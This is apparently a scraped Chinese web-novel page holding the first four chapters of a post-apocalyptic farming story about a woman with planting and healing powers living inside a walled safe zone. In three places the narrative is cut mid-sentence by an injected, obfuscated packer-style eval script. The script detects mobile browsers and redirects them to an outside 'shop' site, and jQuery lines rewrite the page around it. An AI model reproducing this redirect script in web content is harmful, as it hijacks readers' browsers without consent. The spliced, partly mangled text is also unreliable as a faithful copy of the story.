《在末世种田》 1. 我有一片田 从丧尸潮爆发的第一天，至今已经过了整整二十五年。 二十五年听上去不长，却是末世前夕出生的方青禾而言的一辈子。 早上六点，方青禾整个脑袋都闷在被子里，还是隔绝不了外面传来的机械声。 现在是雨季，五天前开始下的一场大雨到现在还没停，空气里满是湿漉漉的味道，屋子里的抽湿机一直没停过，被子里还是一股子霉味儿，怎么都散不去。 安全区上方巨大的像天幕一样的隔板升上来，雨再大也淋不到安全区里来，自然也看不到天空、分不清日夜。 ‘东方曙光城为您报时，现在是曙光时间六点整，新的一天祝您身心愉快。’ 东方曙光城，是方青禾所在安全区的名字。进入末世之后不光有变异的人类和动物变成丧尸，整个地球也在不断发生异变，海啸地震改变了整个世界的格局。 方青禾曾听从外面来的人说，以前是大海的地方现在变成了盆地峡谷，以前是山涧悬崖的地方，现在只剩下光秃秃的一小截还裸露在地面上，其余大部分都沉到地底下去了。 方青禾没见过大海，某种意义上也没有见过高山。 她出生的那一年离末世降临还有九个月，她跟爸妈一起住在新一线的城市，末世之前基本就是傻玩儿傻乐呵的一个普通婴儿。 后来末世一朝降临，来不及再去打听亲人朋友的消息，方青禾被父母带着开始四处辗转流离。 方青禾的父亲是军队里的将官，母亲是顶级医学实验室的研究员。也正因为工作上的特殊性，在最开始那一拨谁也没有准备的灾难中，一家人都活了下来。 但末世的情况越来越差，除了最开始变成丧尸的人类，许多动物也开始异变，紧跟着的是原本安全但被迫废弃的核工厂和化工厂引起的气候变化。 极端天气越来越多，越来越频繁，被污染的河流雨水土壤又再次污染人类和已经变成丧尸的人类，从而引发第二轮、第三轮新的变异。 被爸爸用脏兮兮的窗帘布裹住，系在妈妈身上，被妈妈背着越走越远，直至看不见爸爸的身影，那是方青禾记忆里最早也是最深刻的碎片。 那一年她都五岁了，从一岁到五岁大部分时间里，她都跟着爸爸的部队在转移，从城市到农村再到荒野。 直到荒野也不再安全，才又回到已经变成废墟的城市。在已经荒废的城市里跟丧尸、变异的人类和动物争抢地盘，再重新建立起一个又一个或大或小的基地和安全区。 末世之后，没有变成丧尸的人类中开始有极少数人觉醒异能。 异能觉醒的类型很复杂，除了水火雷电和身体力量、速度明显变得异于常人这种肉眼可见的变化，其余的异能者要么还没适应要么有意在藏，还有大部分并不能很好的控制。 那一段时间里，人类大部分时候还是只能靠活着的护卫队和抵抗军，对抗丧尸和变异的物种。方青禾的爸爸就是在接到一次任务以后，再也没有回来。 没有尸体没有下落，不知道是死了还是也变成了丧尸，或是变异成了怪物。方青禾的母亲没有问，也没有人说。 之后从六岁到十岁，方青禾一直在跟着母亲转移。方青禾的妈只是普通的研究员，两人一直没有被落下的原因是方青禾也被发现了异能。 只不过她的异能在当时有些鸡肋，种植和治疗，听上去很重要，但一个六七岁大部分时候都吃不饱的孩子能量能有多少？ 催生粮食作物，原本生长周期半年的作物，方青禾把吃奶的劲儿使出来也就能加速五分之一左右，用在治疗伤员上，本来血流如注的伤口，能止住一大半的血。 不是没有用，只是对于死亡率极高的末世而言，这点用处聊胜于无，毕竟大部分的伤员并不会有活着的机会，饿着的人也等不到她催生的食物成熟。 要么当场毙命，要么变异成丧尸或是怪物，能带伤留着命回来的是极少数，他们的治疗有那些觉醒了治疗异能的成年人负责，用不着方青禾。 但人类的本能之一就是期盼未来，即便身处末世也还是会有人想着，要是能有以后，像方青禾这样的小孩儿就不能被随意抛下和放弃。 那几年磕磕绊绊，挨过饿受过伤，直到在某一次转移的时候，救生船上的位置不够，瘦小灵巧的方青禾被母亲送上属于庇护所的船，而她自己选择留下。 那一天，方青禾失去了她在这个世界上最后一个亲人。 庇护所里有一大批跟她差不多的孩子，觉醒了异能又还没长成。他们因此获得了活下去的机会，每一次转移和逃难，都不会扔下他们不管。 同时也需要不断的被开发被研究，活下来的人类需要异能者跟丧尸和变异的怪物厮杀，需要他们创造或寻找可以用的资源和食物。 十岁到十八岁，方青禾一直在庇护所，从因为异能鸡肋挨打被欺负，到年纪越大安全区越大，出任务的时候渐渐不那么多，方青禾在种植方面的异能也渐渐够用，她的处境才跟着慢慢好起来。 等到十八岁生日过后，方青禾接受了监察部的测试。测试过后她种植方面的异能可以达到b+级别，不算最好但够用了。 跟种植一起被发现的治疗异能却一直很鸡肋。 庇护所里有几个治疗异能厉害的，一个只要还有一口气，都能把人从死亡边缘拉回来。另一个的天赋则更加惊人，她有让断肢再生的能力。 而方青禾在治疗方面，最拿手的本事是治疗骨折和止疼安眠。尤其是止疼和安眠的作用，比现在市面上最好的止疼药和安眠药还强。 监察部来的几个人看着都觉得好笑，这人的异能还真就跟庇护所的长官说的一样，这人能用，但千万别往死了用。 曙光城很大，从中心区到最外围一共被分为六个区。中心区最核心，指挥中心，人类所有的顶级指挥官和所有顶级异能者都在里面。 听说中心区里的人，生活已经跟末世前城市里的没有很大的区别，有高楼有充足的水源，不会限电也不会动不动就停电。 当年跟自己一起在庇护所长大的孩子里，就有两个因为异能特别有用，被直接调去了中心区。 他们中一人觉醒了空间能力，从庇护所走的时候，那人的空间已经比庇护所还要大，除了活着的碳基生物不能装进去，其余什么东西都能收罗其中。 末世至今二十年，现在有一种论调在宣扬变异的丧尸和怪物已经开启了智慧拥有了智商，这一论调至今没有被确认，但安全区内越来越安全，安全区外越来越危险却是不争的事实。 能有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037431|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以装下所需一切的空间，尽最大可能提高机动能力，同时确保不留一丝己方的武器和科技给那些异种，对于要出曙光城执行任务的各个小队来说，用处就太大了。 另一个觉醒了预知的能力，虽然动用一次以后限制很多，但还是被核心区的高级指挥官带在身边寸步不离，方青禾这几年都再未见过她。 不过中心区不是一成不变的，不管是谁只要你不够有用了，赚不到足够留在中心区的贡献点，就要从中心区搬出来，即便是大首领也不能例外。 核心科研区在第二大区，据说维持整个曙光城正常运行的电力水力和防护盾都在第二区，那是天才们的聚集地，方青禾想都没想过自己眼下能进去。 第三区是军事区，方青禾去过一次。 那次去她才十五岁，听说是军事区的副总指挥官带着人出安全区执行任务，碰上了危险系数最高的变异人，最终任务虽然完成了，安全区也损失惨重。 领队出去的副指挥官季青石受了很重的伤，整个后背烂得血肉模糊连脊骨都暴露在外面。要不是有异能让他的身体比普通人更加抗造，人早就该死了。 军事区有最好的治疗师，但季青石的伤口被变异的怪物污染了，后背除了止不住的血和碾成肉末一样的皮肉肌理，还有一些不知名的粘液。 清理这些粘液比治疗更麻烦，方青禾和几个有类似异能的人，负责的就是在这段时间里想办法给季青石镇痛。 持续了三天两夜的治疗，耗尽了她所有体能。方青禾带着军方给的补给和加倍的贡献点，从军事区回庇护所的时候连腿都是软的。 也是从那天起，方青禾就放弃了想办法进第三区的打算。靠种田第三区进不去，靠治疗自己进去了过不了多久，说不定就得力竭而死。 所以‘还算能用’的方青禾，在接受过测试以后，从庇护所出来被分配到了平民区里的四分区。 四分区不算小，方青禾除了跟同是种植异能的几个同事，把划分给四分区的种植区给分片区负责之外，还负责分区里的一个小诊所。 种植区在四分区的最外围，不是雨季的时候阳光和水源都是最充足最方便的地方。 方青禾占了种植区和贸易区、维修中心相邻的这一块，因为石油煤炭等资源还是紧俏物资，诊所和自己的责任田直线距离只有一公里，方便自己每天来回。 雨季，田里的作物再是有异能者维护，也生长得比平时要慢一些。种植区除了异能者，还有进行日常维护的管理人员和农民，方青禾今天并不用过去。 还有一个来月雨季就要过去了，等雨季过完再到旱季，这中间只有大约一个月的时间。 这一个月要让农作物成熟还要全部收割，处理好以后全部要上缴给大区，第四区按照农作物的等级评分之后，再全部往第二区起运。 至于居民区的所有人，都要按照每个人工作赚取的贡献点，来兑换每日所需的口粮。至于私下截留粮食，在曙光城里属于重罪。 六点的广播会断断续续持续十五分钟，熬过十五分钟方青禾还能再睡一个回笼觉，等到七点十五再起床。 起床以后，方青禾用瞳纹刷了两升清水用来洗脸漱口再从门口把送来的早饭三两口吃干净，便出门去了她负责诊所。 2. 还有一份兼职 方青禾到诊所的时候，门口已经等了一个身上有淡淡的血腥味瘸腿男人。 曙光城里严禁暴力斗殴，被抓住了的人不管打输还是打赢，都会被放逐。男人敢白天过来，就说明这伤是在安全区外面受的。 平民区跟外区之间有隔离带，隔离带再往外便是污染区和无人区，去了外面什么事情都有可能发生，还能自己走到诊所来，就代表没有大问题。 “方研究员，听说了吗。” “听说什么。” “您还没听说啊。” …… ………… 方青禾抬头去看因为私自出城去废墟里寻找物资，不小心摔断了腿到自己这里来接骨的大叔，神情里全是你是不是来找茬的。 其实男人的年纪也不是很大，经历了末世，人类的平均年龄都很年轻，年纪大的很难活下来。 同样的像方青禾这样二十多不到三十的的人也很少，乱世都有易子而食的情况更何况是末世。 跟方青禾年纪相仿的人，大多数要么出身特别好，要么是觉醒了异能的，普通人真的少之又少，反而是像眼前这个男人这样四五十上下的人更多些。 “您要是怕疼就别看，别这么没话找话的分散注意力。别您的注意力没分散反而把我的分散了，接错了骨头怎么办。” 治疗的异能再鸡肋，治个骨折还是不难。接好骨，又给男人开了三天的止疼药，在家休息两天基本上就没问题了。 “我听说隔壁小区有个专业的医生，手一抹就能止疼，我们怎么还要吃药。” 因为我不想费劲，低阶止疼药现在依靠异能者批量生产，最近这段时间不算紧俏，用药总比自己花费异能来得轻松。 “要不您搬家去隔壁小区？” “那算了，咱们区的种植比隔壁强，我可不走。” 方青禾能管着种植又管着诊所，拿两份贡献点自然有她的用处。连着三年，方青禾的责任田产出都很稳定，连带责任田外的一些药材和珍稀植物的种植，长势也都很好。 分区的指挥官和各级执行者都说，用不了几年方青禾可能就要往更中心、配置更好的分区去了。 男人本来就是随口一说，见方青禾不接自己的茬，又自顾自的说起刚刚的话题，“方研究员，您真没听说啊。您之前想要没要到的那房子来了新人，就昨天搬进来的。” 曙光城里的房子完全按照你本人的贡献点分配，即便是配偶家人，要是贡献点差距悬殊过大也是不行的。要么分开居住，要么迁就贡献点低的那一方。 方青禾有异能，现在又不像前几年战争和抢夺地盘才是最重要的事情，负责口粮已经有比那些战斗能力突出的异能者更加吃香的趋势。 但即便如此，因为她是单身又没有繁衍后代，她综合下来的贡献点没有预想中的高，最想要的房子也没有住到，只能选了隔壁朝向和风景都没有那么好的一套。 “谁啊，还非要我听说了？” “季青石啊，就是当年那个战神指挥官。听说咱们分区的护卫队，以后就由他负责带领了。” 他啊~~~方青禾眉峰一挑，忍不住在心里吐槽，那年这位季大战神，疼得泪珠儿吧嗒吧嗒直掉的样子，自己可都还记得呢。 季青石，名声赫赫的战帅指挥官，第一批觉醒战斗异能的顶级异能者。 十年前，北方雪原上爆发突如其来的变异潮，变异的物种从动物开始蔓延到了植物。 一些本来地球上纤弱无害的植物开始变得具有攻击性，和变异的动物一起密密麻麻占据了整个北方通道，切断了当时刚建立的曙光城最重要的运输线。 粮食和燃料运不过来，刚建成的曙光城岌岌可危。末世以后，从小型庇护所到小基地再到大基地和曙光城这样的安全区，一直都是四处林立。 末世让人类的欲望无穷放大，求生的本能让大家对生存之外的所有事情都看得没那么重了。 安全区有能力庇护大家的时候，每个人都愿意为了安全区付出一切。 可要是安全区自己维持不下去，用不着外面的怪物或是丧尸攻击，安全区里的人，大部分都会选择主动离开。曙光城在成为曙光城之前，也曾是别的安全基地。 当时季青石带着战斗小队去了雪原，后方城里的指挥部在动员后续补上的突击队。 剩下其余的人大多都在想，要是曙光城撑不下去，出了城该往哪边走更安全，是抱团带着物资去别的中型基地，还是三五人结伴去投奔别的安全区。 当时方青禾也把自己的东西都收拾好了，称得上贫瘠的空间里也存好了能维持小半年的口粮和几把枪械。真要是曙光城维持不下去，她就打算绕小路绕远路往南方的滨海城去。 听说滨海城是一半主城区都建立在海上的安全区，虽然海里的变异物种更加危险和未知。但临海的地方不存在断了哪条道儿，实在不行往海上走，总归不会憋死在城里。 有了这个打算，方青禾就不慌张了。谁知过了没两天季青石带着战斗小队回来，北方雪原上的怪物潮几乎被季青石全杀光了。 据小队里的人说，季青石在战场上异能爆发，精神力几乎化为实质，把那些变异的怪物砍瓜切菜一般杀了个精光。 等到战后清理战场的时候，有些鳞片比特质盔甲还要更硬的怪物甚至直接被碾成了肉泥。那一战，季青石一战成名。成了曙光城的战神，也成了各大安全区和基地嘴里的煞星。 之后连续几年，只要有季青石带队的战役和行动，就从未失败过。 直到七年前，他带领自己的小队去救援另一个被变异物种包围的中型基地，却被变异物种反包围。 那一次行动是为了救人，也是为了吞并对方基地里研究出来的一种新型金属。 季青石是唯一一个打破包围进入基地里的人，基地里的情况没人知道，即便是季青石最后从基地里出来，也受了几乎丧命的重伤。 那个基地里的研究人员早死光了，带回来的只有少量的新型金属。 曙光城用成果反推，又研究了三年才研究出现在用在驾驶器、飞船和各类武器上的沙金。沙金轻，延展性和稳定性都很出色，在最缺乏资源的废土末世，简直就是天赐之物。 为此，拥有了沙金的曙光城很快就壮大起来。而把沙金带回来的季青石，自然名声和威望就更盛了。 他是时代的英雄，也是方青禾记忆中那个疼得浑身战栗奄奄一息，眼泪大颗大颗滴落，却依旧活着的一个人。 但末世不是一成不变的，尤其是曙光城拥有了沙金之后，在整个东方都占据了最关键的话语权。 曙光城外的爆发变异潮的次数越来越少，反而是末世引起的地壳运动和异常气候更加让人头疼。污染区和感染区大多被隔离起来，战斗队和英雄出城去的次数在不断减少。 现在被派出曙光城执行任务，更多的还是那些没那么出色又足以完成任务的异能者。 比起季青石这种受过重伤的指挥官，出去一趟还得给他配个治疗师一步不离的跟着，还是这些差不离的普通异能者更实用更划算。 至于季青石这样的人，核心区指挥官的位置有限，不想让他留在核心区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037432|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占着资源又不能彻底把人从曙光城赶走，最好的处置办法可不就是运用规矩让他靠边站。 曙光城，或者说所有末世安全区的规矩，最基本且不可撼动的就是没有居功自傲，没有吃老本，甚至连夫妻子女之间都没有谁依靠谁的机会。 十六岁成人之后，孩子就必须开始参加生产。有异能的按照异能不同，被分配到不同的区负责不同的事务。 更多的普通人，则被分到工业区、种植区和生活区，像是末世之前还未变异的工蚁一样，一复一日的用每一天的工作换取微薄的贡献点，获得可以一直留在曙光城的机会。 哪怕是季青石这样的战斗英雄，也会因为很久没有带队出城战斗攒不够贡献点，不得不从核心区搬到平民区来，负责一个分区的护卫任务。 哪怕美曰其名给这些搬到平民区的前指挥官们授了‘观察者’的衔，但傻子也知道他们都是被核心区排挤抛弃出来的人。 说到这些，还瘸着腿起身往外走的男人简直眉飞色舞，不知道是在显摆他听说了这么多事，还是对季青石这等曾经的天之骄子幸灾乐祸。 管你什么战神不战神，到头来还不是跟我一样，要在同一个区里面讨生活过日子。 “我听说他是昨天晚上从中心区搬出来的，人就住在你隔壁，你就没听见什么动静。” “这里离种植区近，晚上比居民区那边要安静，隔壁住进来一个人，你怎么一点都不知道，你不知道罐头也不知道啊。” 说话的是分区护卫队的队员林小雨，白天那骨折的大叔也只是听着流言，再具体的他也不知道。 方青禾白天忙得脚不沾地，这事想打听也没渠道。直到晚上分区护卫队的几个熟人过来，她才重新问起这个。 罐头是方青禾养的一条黑色土松犬，没有变异没有被杂交。这些动物比人类更加知晓该怎么在末世里活过来，等到曙光城建立起来，它们又凭着本能聚拢而来。 因为住的地方靠近种植区离居民点太远，方青禾专门像上级部门申请了一条护卫犬。 本来按照她的设想，分来的应该是已经和非烈性变异动物杂交过的犬种，那样的犬种攻击性强又听话，真正有什么情况的时候，以最快的时间撕碎两个人不成问题。 却不想送来的是一只见第一面可以趴在方青禾手心里，牙齿都还没长出来小奶狗。 人家还说了，说毕竟是靠近种植区，不能跟变异的动物混在一起，杂交的也不行。这种原生原长的土狗有它的好处，体味小吃得也比更变异杂交过的少。 没听末世之前的人说，乡下的土狗最护家嘛，这都是老祖宗的道理。 她作为有种植异能的研究员，住的房子本来就自带警戒系统，养狗大部分作用是为了壮胆，小部分作用是有什么风吹草动的时候提前示警。 再加上整个屋子本就自带的护卫系统，按下按钮整个房子都会被掺了沙金的钢板包裹起来，只要不是第四区被外来火力无差别打击，就不会有什么危险。 这个理由方青禾当时接受了，罐头作为一条土生土长的黑土松确实也很机敏。 但他的机敏仅限于开餐吃饭和找罐头，其他时候它比方青禾还迟钝，昨晚半夜方青禾起来上厕所的时候，还听见睡在床尾的罐头直打呼噜。 隔壁别说搬来一个人，现在就是连自己带这个屋子被人一起搬走了，它都不一定能反应过来！ 养了这么一条没用的狗，屋里几个人都有些无奈。只有罐头压根不上心，听见有人叫自己懒洋洋的抬头往众人这边看，见没什么事就又重新把脑袋趴回爪子上去。 3. 还有一只傻狗 坐在矮凳子上的林小雨伸手在已经昏昏欲睡的罐头脑袋上搓了几把，“没所谓啦，知不知道的人家都来了，罐头昨晚上提醒了又怎么样，青禾还能半夜去敲他的门？” “不说这个了，我不是要方研究员非要盯着那边，主要是他来了，那我们下次的计划还按不按照之前说的进行，他是护卫队的新队长，万一人家……” 接话的是陆尘，他是分区护卫队的副队长，也是护卫队里少数没有异能的人。 末世来临那年他正好二十岁，刚被选拔进特种部队，人还在去报道的车上，就看见路边冲出来的丧尸撞碎了大巴车的玻璃。 从那一天起，陆尘就一直没有停下来过。刚开始是保命，后来是被招募到一个又一个的庇护所和基地。 二十年来，他见过的死人和死丧尸&怪物应该比活人还多。本来以为这辈子也就这样了，谁知五年前他跟第六区的流莺搞出了一个孩子，日子才过得截然不同起来。 流莺本是在第四区犯了事，才被驱逐到第六区。第六区是曙光城和外面的隔离带，说得再直白一些就是贫民窟和黑市的混杂区。 去了第六区的人几乎没有机会再回内城，而曙光城的规矩孩子是一定跟着母亲走的，母亲在哪个区孩子就在哪个区。 末世废土，孩子和传承成了稀缺资源。孩子是资源，女人自然就成了容器。 贡献点和粮食又这么紧张，只有严苛控制以脐带和子宫为纽带，证明血缘和子嗣关系的规矩，才能保证孩子和女人能尽可能的多活下来。 因为这个规矩，曙光城里多的是女人带着孩子生活，男人在另一分区或是另一区生活的情况。 好比那个流莺，她带着孩子在贫民窟生活，只要陆尘还想要这个孩子，他能施舍一些吃的和物资，就能让那流莺带着孩子在外城活下去。 可要是男人们可以随意将孩子带走，那么被留下的女人很快就会被辗转到另外一个人手里，又或者干脆活不了多久就会死了。 所以这条规矩，大多数人都表示支持，或许心里也有不支持的但也不敢说出来。 至少哪怕在末世，人要是过于露骨自己是个冷漠且没有道德的人，也是会被大部分人排挤孤立的。 陆尘跟那流莺之间谈不上多深的情分，但每半个月申请去外区看一次孩子已经成了习惯。从一开始的嫌申请麻烦到现在提前好几天就开始掰着手指头数日子，陆尘是真放不下那个孩子了。 流莺进不来居民区，陆尘只能玩命攒贡献点和物资。物资是留着给孩子的，等这个孩子长到十六岁，她要是能力足够可以单独进别的区生活，这些物资到时候就是她的倚仗。 贡献点是他听说第二区已经在研究拥有异能的人的异能到底是怎么来的。要是真的能破解这里面的秘密，或许以后就能人为让所有普通人都拥有异能。 真到了那天，不管以什么形式换取异能都少不了贡献点。资格和名额会极其苛刻，但陆尘这个当爸的得先给女儿准备着。所以陆尘除了是分区护卫队的副队长，也是外城黑市上有名的陆老板。 “都说定了为什么不进行，难道他来了我们就都不吃饭了。是你陆尘攒家底攒够了，还是林小雨这个月的贡献点够用了？” “这次出去不是还要顺带给你女儿送东西的，你不去了人家孩子眼巴巴的盼着，像话吗。” 厨房是开放式的，跟客厅连在一起。方青禾把蒸好的萝卜猪油渣包子端到客厅分给众人，打断了陆尘的话。 方青禾管着种植区，除了她比普通人更高的贡献点，平时偷着拿种出来的东西跟养殖区和外区的人交换东西也更加容易。 护卫队的人每次来家里开会，她多少都要给人补贴一点伙食，要不然也不好每次都腆着个大脸跟着他们出城去。 “人家是中心区来的，以前过的什么日子现在过的什么日子，他难道就不想去外面弄些东西补贴生活。他就是不想，也不一定会拦着我们去。” 去城外搜罗物资，在明面上是被禁止的。但私底下谁都有道儿出去，只要能活着回来，只要不把变异的动物和丧尸引进城就没问题。 回来了，外城的黑市里多的是人收带回来的物资。回不来，那也就回不来了，没人会管没人会问。只有生命管理署，会第一时间吊销这个人信息，收回他生前的贡献点。 这都是约定俗成的事情，他季青石最好睁一只眼闭一只眼，大家都相安无事。真要是计较起来那就到时候再想法子，强龙压不过地头蛇，不怕他。 确认了五天以后出曙光城的计划不变，护卫队的人陆续起身往外走。落在最后面的陆尘等到大家伙都出门了，才从口袋里掏出一个包裹得紧实严密的油纸包。 末世以后，很多以前常见的东西都成了稀缺资源，就连塑料袋现在也不常见。能找到的石油都拿去做燃料了，塑料制品只有军方和核心区才有分配权。 种植区偶尔能见着，但都是用之前签字用完了还回去，缺漏一点都要扣除相应的贡献点。就是不小心损坏了，也要专门去说明，因为什么损坏，坏了的塑料又在哪里，一样都得上缴。 “这些种子是从外城的黑市换来的，都说是末世之前留下来的种子，听说还种出辣椒来了。” “上次说能种出苦瓜来的种子，种出来的是豆角。” 方青禾从地板下的小储物间里拿出一个有些浑浊的玻璃瓶，“种子不好，结过一次果再想留种就难了。这酸豆角你拿回去，这次去外城的时候给小葵带上。” 玻璃瓶是循环使用的，即便是方青禾这个异能者也不敢浪费。都是拿贡献点换回来以后，又用热水高温消毒过的，干净不干净的也就这个了。 小葵就是陆尘和那个流莺生的女儿，或许是越缺什么就越想要什么，现在新出生的孩子取名字都爱用末世以前的东西，花草树木飞鸟鱼虫，反正都能拿来给孩子取名字。 小葵这个名字是她妈妈给取的，说不好是向日葵的葵还是葵花籽的葵，但不管什么都好，五岁的小葵现在在外城是很难向阳而生的。 即便雨季过去，外城的天空也整日都是灰蒙蒙的，整个重工业区的废气和曙光城外污染区感染区交杂混合的气体，都会经久不散的弥漫在整个外区。 整个曙光城的进化设施设备只有这么多，分配到每个区的资源当然也不一样。 外区的空气只经过最基本的过滤，不戴防护面罩不会死也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037433|194633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会变异，但时间长了会产生什么后果谁也说不好，毕竟离末世降临也才不到三十年而已。 陆尘拿着已经清洗过很多次，瓶壁上都已经被划花的玻璃和瓶子里颜色依旧翠绿的豆角有些怔愣，过了一小会儿才点点头，什么都没说的走了。 护卫队有自己的车辆，大晚上的车子发动的声音有些嘈杂。 方青禾坐在沙发上一直等着汽车的声音远去到再也听不到，又起身把窗帘拉上，这才带着陆尘给的种子转身进了自己不为人知的空间。 自己异能被发现之后的第三年，她又拥有了一个小空间。空间不大，加起来也就两亩地的大小。 或许是因为自己先觉醒的种植异能，空间里的土地绝大部分也是上好的水田，土地肥沃田力很足，至少比安全区里的土要好上很多。 这样的土地，方青禾只在从末世活过来的中老年人的故事里听说过，土层够深土质够紧，捏在手里湿润又不会过于积水，透气性和保水性都很好。 不是农田的地方，被方青禾用蚂蚁搬家的毅力和小心，建了一栋上下两层楼带一个地窖的房子。 农田里的种子是方青禾一点点攒起来的，种子不多，也没时间种太多。以前还在庇护所的时候更加不敢随意进空间去，直到这几年分了住处，才攒够了一个地窖的粮食。 地窖里除了大米和麦子，其余大多数都是红薯和红薯面粉、红薯干和红薯粉条。每次方青禾看到这些粮食，都觉得自己是红薯大王，兢兢业业小心翼翼攒下的这些家底，就是红薯开会。 进了空间先去地窖里转一圈，犹如国王巡视领地一样，把自己的红薯们挨个看一遍。出了地窖又下田查看小麦和红薯的生长情况。 自己这个空间里的日夜跟外面是同步的，不像末世蓝星只分旱季雨季，一年四季在这小小方寸之间倒是分明得很。 只是自己种植的异能到了空间里反而无效了，土质的好坏和是否风调雨顺跟自己身体的状态息息相关。自己吃得好睡得好，空间里田里的土质就会跟着更好些。要是自己压力太大累得太狠，空间也会跟着干巴巴灰蒙蒙的。 这两年曙光城出任务和被外部袭击的次数越来越少，战损少了种植区的任务就重了。 平时还感觉不出来，进了空间弯腰捻一把微微有些干燥的土，方青禾就知道今年继续种小麦和红薯没错，这两种作物都抗旱，只要自己还有一口气，应该就不会颗粒无收。 把田里的杂草除一除，又找来一个豁口的盆子，弄了些土把陆尘给的种子种下去，确定没什么事情了，方青禾转身重新回了地窖。 拿两个灰不溜秋的布袋子装了半袋子黑面面粉，和小半袋有些泛黄的大米，才心满意足的从空间里出来。 分区统一分配的食物味道太差，方青禾除了实在起晚来不及的时候垫巴一口，大部分时候还是吃空间里产出的作物更舒服。 毕竟方青禾有异能，自己偷偷摸摸种些粮食，再拿粮食换些肉蛋，在旁人看来都是再正常不过的事情。即便是纠察队的人，也不会为了这点小事轻易得罪这些异能者。 想好了明天早上要做猪肉大葱馅的黑面饺子，方青禾难得躺下没多久就睡着了。 4. 来了个一倒霉蛋 半夜，一声巨响突起。 罐头吓得整只狗扑到方青禾身上，方青禾就地一滚从床上滚下来，借着床和墙的夹角掩护好自己。 等了半分钟，确定整个屋子里的防御模式都没有打开，方青禾才安抚好已经被吓个半死的罐头，穿上防护服往外走。 一开门，就感受到比石子还大的雨点啪啪啪的打在防护服上，再一抬头，好家伙居然是平民区的防护板不知道因为什么原因漏了个洞，雨水正如同天河倒灌一般落下来。 洞几乎就在种植区的正上方，方青禾顾不得雨水打在防护服上生疼，赶紧骑上跟末世之前的电驴子有七分像的‘铁骑’往田里去。 现在想要整个种植区隔绝外曙光城外没经过过滤的雨水已经来不及了，只能尽量维护住土壤的干净和作物的抗性，等防护板修好了再想往上打报告的事情。 种植区里不止方青禾一个人，这么大的动静把值班的技术员和工人都惊醒了。几个身形瘦削的中年男人连衣服都没穿，穿了个裤衩就跑出来了。 还是方青禾厉声把几人呵住，“种植区的规矩都忘了？回去！穿好了防护服再出来。” 种植区的作物都是末世保留下来的没有变异过的种子，和末世之后变异过但还能吃的作物。 可是土地坏了，即便有方青禾这样的异能者每天维护土壤的稳定，让长出来的作物能正常生长无毒，但还是每天都会出意外。 就像田里总会有除不完的杂草，或许整个蓝星的空气里都弥漫着已经未知的变异的引子，田里总会有某一株作物，或是田间地头的某根杂草突然变异。 每一天种植区里都会有突然破土而出长势冲天的变异之物，有的只是体型和大小跟原来截然不同，有的还会变得有攻击性和毒性，所以防护服是一定不能脱的。 电驴子轰轰轰轰往种植区开的时候，另一个方向也有一道人影在飞速往这边来。 平民区季青石来过，住到这里来还是第一次。方青禾心里的猜测没有错，废土的空气都已经跟末世之前不一样了。 或许感知能力差的普通人和没有去过核心区的人察觉不到，但季青石五感超群，身上又有陈年老伤，敏感程度让他能更加清晰的感知整个世界。 他一踏出核心区就感受到了那股令人难受、憋闷的束缚。力量好像被无形捆绑起来，每一口呼吸都像是在水里，肺泡明明被吸入的氧气撑开，却又完全不够用。 作为曙光城的特殊符号，他是有资格乘坐最高级先进的飞行器，直接到达居民区四分区。 这种难受的状态让他整个人都处在临界点，坐在飞行器黑色皮革包裹的座椅里，一路都沉默不语。 机长和两个副机长见他这样，以为他是因为搬出中心区心中不快，大气都不敢喘。 毕竟哪怕每日都有从外区搬进中心区的人，也有从中心区搬出去的人，但谁也没想到这个搬出去的人，会轮到季青石。 季青石知道他们在打量自己，只阖眼假寐装作不知。毕竟不让他们走这一趟，自己就只能乘坐城际大巴，从中心区一站一站的转去平民区。 大巴定时定点停靠，上车和下车都需要严格的安检，季青石的行李里有他这些年攒下来的战利品，这些东西不光过不了安检，贸贸然显露在普通人眼里，说不定要引起恐慌。 到了新分配的屋子，季青石吃了仅剩的止疼药就睡下了。 从中心区到平民区，要说季青石心里一点儿憋屈都没有肯定是假的。 不过和那天接到调令的愤怒不一样，等他真正躺在新分给自己屋子的床上闭上眼睛，还来不及想一下以后的事，就稀里糊涂的睡着了。 这一觉季青石睡了个昏天暗地，醒来的时候外面的天还是黑的。 睡了个对钟，本来光洁的下巴上都冒出短短的青色胡茬，赤着脚踩在木质地板上，脚心上的疤痕甚至能感受到地板打磨得不够细致的粗粝感。 中心区的房子大多数都是掺了沙金的钢材建的，基本符合末世之前人们对末世以后赛博世界的幻想。 季青石住惯了那样的房子，乍一下换成这种木质小屋，即便知道外围也装备的防护装置，心中也还是不免有几分警惕心。 